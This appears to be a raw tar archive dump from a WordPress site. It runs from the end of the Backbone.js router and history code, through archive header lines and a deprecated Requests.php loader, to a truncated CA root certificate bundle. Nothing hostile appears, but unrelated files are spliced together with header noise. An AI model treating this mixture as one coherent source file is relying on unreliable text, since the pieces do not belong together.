    var xhr = options.xhr = Backbone.ajax(_.extend(params, options));
    model.trigger('request', model, xhr, options);
    return xhr;
  };

  // Map from CRUD to HTTP for our default `Backbone.sync` implementation.
  var methodMap = {
    'create': 'POST',
    'update': 'PUT',
    'patch': 'PATCH',
    'delete': 'DELETE',
    'read': 'GET'
  };

  // Set the default implementation of `Backbone.ajax` to proxy through to `$`.
  // Override this if you'd like to use a different library.
  Backbone.ajax = function() {
    return Backbone.$.ajax.apply(Backbone.$, arguments);
  };

  // Backbone.Router
  // ---------------

  // Routers map faux-URLs to actions, and fire events when routes are
  // matched. Creating a new one sets its `routes` hash, if not set statically.
  var Router = Backbone.Router = function(options) {
    options || (options = {});
    this.preinitialize.apply(this, arguments);
    if (options.routes) this.routes = options.routes;
    this._bindRoutes();
    this.initialize.apply(this, arguments);
  };

  // Cached regular expressions for matching named param parts and splatted
  // parts of route strings.
  var optionalParam = /\((.*?)\)/g;
  var namedParam    = /(\(\?)?:\w+/g;
  var splatParam    = /\*\w+/g;
  var escapeRegExp  = /[\-{}\[\]+?.,\\\^$|#\s]/g;

  // Set up all inheritable **Backbone.Router** properties and methods.
  _.extend(Router.prototype, Events, {

    // preinitialize is an empty function by default. You can override it with a function
    // or object.  preinitialize will run before any instantiation logic is run in the Router.
    preinitialize: function(){},

    // Initialize is an empty function by default. Override it with your own
    // initialization logic.
    initialize: function(){},

    // Manually bind a single named route to a callback. For example:
    //
    //     this.route('search/:query/p:num', 'search', function(query, num) {
    //       ...
    //     });
    //
    route: function(route, name, callback) {
      if (!_.isRegExp(route)) route = this._routeToRegExp(route);
      if (_.isFunction(name)) {
        callback = name;
        name = '';
      }
      if (!callback) callback = this[name];
      var router = this;
      Backbone.history.route(route, function(fragment) {
        var args = router._extractParameters(route, fragment);
        if (router.execute(callback, args, name) !== false) {
          router.trigger.apply(router, ['route:' + name].concat(args));
          router.trigger('route', name, args);
          Backbone.history.trigger('route', router, name, args);
        }
      });
      return this;
    },

    // Execute a route handler with the provided parameters.  This is an
    // excellent place to do pre-route setup or post-route cleanup.
    execute: function(callback, args, name) {
      if (callback) callback.apply(this, args);
    },

    // Simple proxy to `Backbone.history` to save a fragment into the history.
    navigate: function(fragment, options) {
      Backbone.history.navigate(fragment, options);
      return this;
    },

    // Bind all defined routes to `Backbone.history`. We have to reverse the
    // order of the routes here to support behavior where the most general
    // routes can be defined at the bottom of the route map.
    _bindRoutes: function() {
      if (!this.routes) return;
      this.routes = _.result(this, 'routes');
      var route, routes = _.keys(this.routes);
      while ((route = routes.pop()) != null) {
        this.route(route, this.routes[route]);
      }
    },

    // Convert a route string into a regular expression, suitable for matching
    // against the current location hash.
    _routeToRegExp: function(route) {
      route = route.replace(escapeRegExp, '\\$&')
      .replace(optionalParam, '(?:$1)?')
      .replace(namedParam, function(match, optional) {
        return optional ? match : '([^/?]+)';
      })
      .replace(splatParam, '([^?]*?)');
      return new RegExp('^' + route + '(?:\\?([\\s\\S]*))?$');
    },

    // Given a route, and a URL fragment that it matches, return the array of
    // extracted decoded parameters. Empty or unmatched parameters will be
    // treated as `null` to normalize cross-browser behavior.
    _extractParameters: function(route, fragment) {
      var params = route.exec(fragment).slice(1);
      return _.map(params, function(param, i) {
        // Don't decode the search params.
        if (i === params.length - 1) return param || null;
        return param ? decodeURIComponent(param) : null;
      });
    }

  });

  // Backbone.History
  // ----------------

  // Handles cross-browser history management, based on either
  // [pushState](http://diveintohtml5.info/history.html) and real URLs, or
  // [onhashchange](https://developer.mozilla.org/en-US/docs/DOM/window.onhashchange)
  // and URL fragments. If the browser supports neither (old IE, natch),
  // falls back to polling.
  var History = Backbone.History = function() {
    this.handlers = [];
    this.checkUrl = this.checkUrl.bind(this);

    // Ensure that `History` can be used outside of the browser.
    if (typeof window !== 'undefined') {
      this.location = window.location;
      this.history = window.history;
    }
  };

  // Cached regex for stripping a leading hash/slash and trailing space.
  var routeStripper = /^[#\/]|\s+$/g;

  // Cached regex for stripping leading and trailing slashes.
  var rootStripper = /^\/+|\/+$/g;

  // Cached regex for stripping urls of hash.
  var pathStripper = /#.*$/;

  // Has the history handling already been started?
  History.started = false;

  // Set up all inheritable **Backbone.History** properties and methods.
  _.extend(History.prototype, Events, {

    // The default interval to poll for hash changes, if necessary, is
    // twenty times a second.
    interval: 50,

    // Are we at the app root?
    atRoot: function() {
      var path = this.location.pathname.replace(/[^\/]$/, '$&/');
      return path === this.root && !this.getSearch();
    },

    // Does the pathname match the root?
    matchRoot: function() {
      var path = this.decodeFragment(this.location.pathname);
      var rootPath = path.slice(0, this.root.length - 1) + '/';
      return rootPath === this.root;
    },

    // Unicode characters in `location.pathname` are percent encoded so they're
    // decoded for comparison. `%25` should not be decoded since it may be part
    // of an encoded parameter.
    decodeFragment: function(fragment) {
      return decodeURI(fragment.replace(/%25/g, '%2525'));
    },

    // In IE6, the hash fragment and search params are incorrect if the
    // fragment contains `?`.
    getSearch: function() {
      var match = this.location.href.replace(/#.*/, '').match(/\?.+/);
      return match ? match[0] : '';
    },

    // Gets the true hash value. Cannot use location.hash directly due to bug
    // in Firefox where location.hash will always be decoded.
    getHash: function(window) {
      var match = (window || this).location.href.match(/#(.*)$/);
      return match ? match[1] : '';
    },

    // Get the pathname and search params, without the root.
    getPath: function() {
      var path = this.decodeFragment(
        this.location.pathname + this.getSearch()
      ).slice(this.root.length - 1);
      return path.charAt(0) === '/' ? path.slice(1) : path;
    },

    // Get the cross-browser normalized URL fragment from the path or hash.
    getFragment: function(fragment) {
      if (fragment == null) {
        if (this._usePushState || !this._wantsHashChange) {
          fragment = this.getPath();
        } else {
          fragment = this.getHash();
        }
      }
      return fragment.replace(routeStripper, '');
    },

    // Start the hash change handling, returning `true` if the current URL matches
    // an existing route, and `false` otherwise.
    start: function(options) {
      if (History.started) throw new Error('Backbone.history has already been started');
      History.started = true;

      // Figure out the initial configuration. Do we need an iframe?
      // Is pushState desired ... is it available?
      this.options          = _.extend({root: '/'}, this.options, options);
      this.root             = this.options.root;
      this._trailingSlash   = this.options.trailingSlash;
      this._wantsHashChange = this.options.hashChange !== false;
      this._hasHashChange   = 'onhashchange' in window && (document.documentMode === void 0 || document.documentMode > 7);
      this._useHashChange   = this._wantsHashChange && this._hasHashChange;
      this._wantsPushState  = !!this.options.pushState;
      this._hasPushState    = !!(this.history && this.history.pushState);
      this._usePushState    = this._wantsPushState && this._hasPushState;
      this.fragment         = this.getFragment();

      // Normalize root to always include a leading and trailing slash.
      this.root = ('/' + this.root + '/').replace(rootStripper, '/');

      // Transition from hashChange to pushState or vice versa if both are
      // requested.
      if (this._wantsHashChange && this._wantsPushState) {

        // If we've started off with a route from a `pushState`-enabled
        // browser, but we're currently in a browser that doesn't support it...
        if (!this._hasPushState && !this.atRoot()) {
          var rootPath = this.root.slice(0, -1) || '/';
          this.location.replace(rootPath + '#' + this.getPath());
          // Return immediately as browser will do redirect to new url
          return true;

        // Or if we've started out with a hash-based route, but we're currently
        // in a browser where it could be `pushState`-based instead...
        } else if (this._hasPushState && this.atRoot()) {
          this.navigate(this.getHash(), {replace: true});
        }

      }

      // Proxy an iframe to handle location events if the browser doesn't
      // support the `hashchange` event, HTML5 history, or the user wants
      // `hashChange` but not `pushState`.
      if (!this._hasHashChange && this._wantsHashChange && !this._usePushState) {
        this.iframe = document.createElement('iframe');
        this.iframe.src = 'javascript:0';
        this.iframe.style.display = 'none';
        this.iframe.tabIndex = -1;
        var body = document.body;
        // Using `appendChild` will throw on IE < 9 if the document is not ready.
        var iWindow = body.insertBefore(this.iframe, body.firstChild).contentWindow;
        iWindow.document.open();
        iWindow.document.close();
        iWindow.location.hash = '#' + this.fragment;
      }

      // Add a cross-platform `addEventListener` shim for older browsers.
      var addEventListener = window.addEventListener || function(eventName, listener) {
        return attachEvent('on' + eventName, listener);
      };

      // Depending on whether we're using pushState or hashes, and whether
      // 'onhashchange' is supported, determine how we check the URL state.
      if (this._usePushState) {
        addEventListener('popstate', this.checkUrl, false);
      } else if (this._useHashChange && !this.iframe) {
        addEventListener('hashchange', this.checkUrl, false);
      } else if (this._wantsHashChange) {
        this._checkUrlInterval = setInterval(this.checkUrl, this.interval);
      }

      if (!this.options.silent) return this.loadUrl();
    },

    // Disable Backbone.history, perhaps temporarily. Not useful in a real app,
    // but possibly useful for unit testing Routers.
    stop: function() {
      // Add a cross-platform `removeEventListener` shim for older browsers.
      var removeEventListener = window.removeEventListener || function(eventName, listener) {
        return detachEvent('on' + eventName, listener);
      };

      // Remove window listeners.
      if (this._usePushState) {
        removeEventListener('popstate', this.checkUrl, false);
      } else if (this._useHashChange && !this.iframe) {
        removeEventListener('hashchange', this.checkUrl, false);
      }

      // Clean up the iframe if necessary.
      if (this.iframe) {
        document.body.removeChild(this.iframe);
        this.iframe = null;
      }

      // Some environments will throw when clearing an undefined interval.
      if (this._checkUrlInterval) clearInterval(this._checkUrlInterval);
      History.started = false;
    },

    // Add a route to be tested when the fragment changes. Routes added later
    // may override previous routes.
    route: function(route, callback) {
      this.handlers.unshift({route: route, callback: callback});
    },

    // Checks the current URL to see if it has changed, and if it has,
    // calls `loadUrl`, normalizing across the hidden iframe.
    checkUrl: function(e) {
      var current = this.getFragment();

      // If the user pressed the back button, the iframe's hash will have
      // changed and we should use that for comparison.
      if (current === this.fragment && this.iframe) {
        current = this.getHash(this.iframe.contentWindow);
      }

      if (current === this.fragment) {
        if (!this.matchRoot()) return this.notfound();
        return false;
      }
      if (this.iframe) this.navigate(current);
      this.loadUrl();
    },

    // Attempt to load the current URL fragment. If a route succeeds with a
    // match, returns `true`. If no defined routes matches the fragment,
    // returns `false`.
    loadUrl: function(fragment) {
      // If the root doesn't match, no routes can match either.
      if (!this.matchRoot()) return this.notfound();
      fragment = this.fragment = this.getFragment(fragment);
      return _.some(this.handlers, function(handler) {
        if (handler.route.test(fragment)) {
          handler.callback(fragment);
          return true;
        }
      }) || this.notfound();
    },

    // When no route could be matched, this method is called internally to
    // trigger the `'notfound'` event. It returns `false` so that it can be used
    // in tail position.
    notfound: function() {
      this.trigger('notfound');
      return false;
    },

    // Save a fragment into the hash history, or replace the URL state if the
    // 'replace' option is passed. You are responsible for properly URL-encoding
    // the fragment in advance.
    //
    // The options object can contain `trigger: true` if you wish to have the
    // route callback be fired (not usually desirable), or `replace: true`, if
    // you wish to modify the current URL without adding an entry to the history.
    navigate: function(fragment, options) {
      if (!History.started) return false;
      if (!options || options === true) options = {trigger: !!options};

      // Normalize the fragment.
      fragment = this.getFragment(fragment || '');

      // Strip trailing slash on the root unless _trailingSlash is true
      var rootPath = this.root;
      if (!this._trailingSlash && (fragment === '' || fragment.charAt(0) === '?')) {
        rootPath = rootPath.slice(0, -1) || '/';
      }
      var url = rootPath + fragment;

      // Strip the fragment of the query and hash for matching.
      fragment = fragment.replace(pathStripper, '');

      // Decode for matching.
      var decodedFragment = this.decodeFragment(fragment);

      if (this.fragment === decodedFragment) return;
      this.fragment = decodedFragment;

      // If pushState is available, we use it to set the fragment as a real URL.
      if (this._usePushState) {
        this.history[options.replace ? 'replaceState' : 'pushState']({}, document.title, url);

      // If hash changes haven't been explicitly disabled, update the hash
      // fragment to store history.
      } else if (this._wantsHashChange) {
        this._updateHash(this.location, fragment, options.replace);
        if (this.iframe && fragment !== this.getHash(this.iframe.contentWindow)) {
          var iWindow = this.iframe.contentWindow;

          // Opening and closing the iframe tricks IE7 and earlier to push a
          // history entry on hash-tag change.  When replace is true, we don't
          // want this.
          if (!options.replace) {
            iWindow.document.open();
            iWindow.document.close();
          }

          this._updateHash(iWindow.location, fragment, options.replace);
        }

      // If you've told us that you explicitly don't want fallback hashchange-
      // based history, then `navigate` becomes a page refresh.
      } else {
        return this.location.assign(url);
      }
      if (options.trigger) return this.loadUrl(fragment);
    },

    // Update the hash location, either replacing the current entry, or adding
    // a new one to the browser history.
    _updateHash: function(location, fragment, replace) {
      if (replace) {
        var href = location.href.replace(/(javascript:|#).*$/, '');
        location.replace(href + '#' + fragment);
      } else {
        // Some browsers require that `hash` contains a leading #.
        location.hash = '#' + fragment;
      }
    }

  });

  // Create the default Backbone.history.
  Backbone.history = new History;

  // Helpers
  // -------

  // Helper function to correctly set up the prototype chain for subclasses.
  // Similar to `goog.inherits`, but uses a hash of prototype properties and
  // class properties to be extended.
  var extend = function(protoProps, staticProps) {
    var parent = this;
    var child;

    // The constructor function for the new subclass is either defined by you
    // (the "constructor" property in your `extend` definition), or defaulted
    // by us to simply call the parent constructor.
    if (protoProps && _.has(protoProps, 'constructor')) {
      child = protoProps.constructor;
    } else {
      child = function(){ return parent.apply(this, arguments); };
    }

    // Add static properties to the constructor function, if supplied.
    _.extend(child, parent, staticProps);

    // Set the prototype chain to inherit from `parent`, without calling
    // `parent`'s constructor function and add the prototype properties.
    child.prototype = _.create(parent.prototype, protoProps);
    child.prototype.constructor = child;

    // Set a convenience property in case the parent's prototype is needed
    // later.
    child.__super__ = parent.prototype;

    return child;
  };

  // Set up inheritance for the model, collection, router, view and history.
  Model.extend = Collection.extend = Router.extend = View.extend = History.extend = extend;

  // Throw an error when a URL is needed, and none is supplied.
  var urlError = function() {
    throw new Error('A "url" property or function must be specified');
  };

  // Wrap an optional error callback with a fallback error event.
  var wrapError = function(model, options) {
    var error = options.error;
    options.error = function(resp) {
      if (error) error.call(options.context, model, resp, options);
      model.trigger('error', model, resp, options);
    };
  };

  // Provide useful information when things go wrong. This method is not meant
  // to be used directly; it merely provides the necessary introspection for the
  // external `debugInfo` function.
  Backbone._debug = function() {
    return {root: root, _: _};
  };

  return Backbone;
});
14338/Requests.php.tar000064400000004000151024420100010316 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/library/Requests.php000064400000000405151024332130027150 0ustar00<?php
/**
 * Loads the old Requests class file when the autoloader
 * references the original PSR-0 Requests class.
 *
 * @deprecated 6.2.0
 * @package WordPress
 * @subpackage Requests
 * @since 6.2.0
 */

include_once ABSPATH . WPINC . '/class-requests.php';
14338/ca-bundle.crt.tar000064400000676000151024420100010355 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/certificates/ca-bundle.crt000064400000672003151024346040026374 0ustar00##
## Bundle of CA Root Certificates
##
## WordPress Modification - We prepend some unexpired 'legacy' 1024bit certificates
## for backward compatibility. See https://core.trac.wordpress.org/ticket/34935#comment:10
##


Verisign Class 3 Public Primary Certification Authority
=======================================================
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEHC65B0Q2Sk0tjjKewPMur8wDQYJKoZIhvcNAQECBQAwXzELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5
IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMTIzNTk1OVow
XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz
IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA
A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94
f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol
hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBAgUAA4GBALtMEivPLCYA
TxQT3ab7/AoRhIzzKBxnki98tsX63/Dolbwdj2wsqFHMc9ikwFPwTtYmwHYBV4GSXiHx0bH/59Ah
WM1pF+NEHJwZRDmJXNycAA9WjQKZ7aKQRUzkuxCkPfAyAw7xzvjoyVGM5mKf5p/AfbdynMk2Omuf
Tqj/ZA1k
-----END CERTIFICATE-----

Verisign Class 3 Public Primary Certification Authority - G2
============================================================
-----BEGIN CERTIFICATE-----
MIIDAjCCAmsCEH3Z/gfPqB63EHln+6eJNMYwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT
MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln
biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz
dCBOZXR3b3JrMB4XDTk4MDUxODAwMDAwMFoXDTI4MDgwMTIzNTk1OVowgcExCzAJBgNVBAYTAlVT
MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln
biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz
dCBOZXR3b3JrMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMXtERXVxp0KvTuWpMmR9ZmDCO
FoUgRm1HP9SFIIThbbP4pO0M8RcPO/mn+SXXwc+EY/J8Y8+iR/LGWzOOZEAEaMGAuWQcRXfH2G71
lSk8UOg013gfqLptQ5GVj0VXXn7F+8qkBOvqlzdUMG+7AUcyM83cV5tkaWH4mx0ciU9cZwIDAQAB
MA0GCSqGSIb3DQEBBQUAA4GBAFFNzb5cy5gZnBWyATl4Lk0PZ3BwmcYQWpSkU01UbSuvDV1Ai2TT
1+7eVmGSX6bEHRBhNtMsJzzoKQm5EWR0zLVznxxIqbxhAe7iF6YM40AIOw7n60RzKprxaZLvcRTD
Oaxxp5EJb+RxBrO6WVcmeQD2+A2iMzAo1KpYoJ2daZH9
-----END CERTIFICATE-----

Verisign Class 3 Public Primary Certification Authority
=======================================================
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5
IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVow
XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz
IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA
A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94
f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol
hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBABByUqkFFBky
CEHwxWsKzH4PIRnN5GfcX6kb5sroc50i2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWX
bj9T/UWZYB2oK0z5XqcJ2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/
D/xwzoiQ
-----END CERTIFICATE-----


##
## Bundle of CA Root Certificates
##
## Certificate data from Mozilla as of: Tue May 20 03:12:02 2025 GMT
##
## Find updated versions here: https://curl.se/docs/caextract.html
##
## This is a bundle of X.509 certificates of public Certificate Authorities
## (CA). These were automatically extracted from Mozilla's root certificates
## file (certdata.txt).  This file can be found in the mozilla source tree:
## https://raw.githubusercontent.com/mozilla-firefox/firefox/refs/heads/release/security/nss/lib/ckfw/builtins/certdata.txt
##
## It contains the certificates in PEM format and therefore
## can be directly used with curl / libcurl / php_curl, or with
## an Apache+mod_ssl webserver for SSL client authentication.
## Just configure this file as the SSLCACertificateFile.
##
## Conversion done with mk-ca-bundle.pl version 1.29.
## SHA256: 8944ec6b572b577daee4fc681a425881f841ec2660e4cb5f0eee727f84620697
##


Entrust Root Certification Authority
====================================
-----BEGIN CERTIFICATE-----
MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV
BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw
b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG
A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0
MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu
MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu
Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v
dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz
A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww
Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68
j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN
rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw
DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1
MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH
hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA
A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM
Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa
v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS
W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0
tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8
-----END CERTIFICATE-----

QuoVadis Root CA 2
==================
-----BEGIN CERTIFICATE-----
MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT
EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx
ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM
aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6
XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk
lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB
lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy
lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt
66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn
wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh
D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy
BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie
J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud
DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU
a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT
ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv
Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3
UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm
VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK
+JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW
IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1
WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X
f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II
4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8
VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u
-----END CERTIFICATE-----

QuoVadis Root CA 3
==================
-----BEGIN CERTIFICATE-----
MIIGnTCCBIWgAwIBAgICBcYwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT
EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMzAeFw0wNjExMjQx
OTExMjNaFw0zMTExMjQxOTA2NDRaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM
aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDMwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQDMV0IWVJzmmNPTTe7+7cefQzlKZbPoFog02w1ZkXTPkrgEQK0CSzGrvI2RaNgg
DhoB4hp7Thdd4oq3P5kazethq8Jlph+3t723j/z9cI8LoGe+AaJZz3HmDyl2/7FWeUUrH556VOij
KTVopAFPD6QuN+8bv+OPEKhyq1hX51SGyMnzW9os2l2ObjyjPtr7guXd8lyyBTNvijbO0BNO/79K
DDRMpsMhvVAEVeuxu537RR5kFd5VAYwCdrXLoT9CabwvvWhDFlaJKjdhkf2mrk7AyxRllDdLkgbv
BNDInIjbC3uBr7E9KsRlOni27tyAsdLTmZw67mtaa7ONt9XOnMK+pUsvFrGeaDsGb659n/je7Mwp
p5ijJUMv7/FfJuGITfhebtfZFG4ZM2mnO4SJk8RTVROhUXhA+LjJou57ulJCg54U7QVSWllWp5f8
nT8KKdjcT5EOE7zelaTfi5m+rJsziO+1ga8bxiJTyPbH7pcUsMV8eFLI8M5ud2CEpukqdiDtWAEX
MJPpGovgc2PZapKUSU60rUqFxKMiMPwJ7Wgic6aIDFUhWMXhOp8q3crhkODZc6tsgLjoC2SToJyM
Gf+z0gzskSaHirOi4XCPLArlzW1oUevaPwV/izLmE1xr/l9A4iLItLRkT9a6fUg+qGkM17uGcclz
uD87nSVL2v9A6wIDAQABo4IBlTCCAZEwDwYDVR0TAQH/BAUwAwEB/zCB4QYDVR0gBIHZMIHWMIHT
BgkrBgEEAb5YAAMwgcUwgZMGCCsGAQUFBwICMIGGGoGDQW55IHVzZSBvZiB0aGlzIENlcnRpZmlj
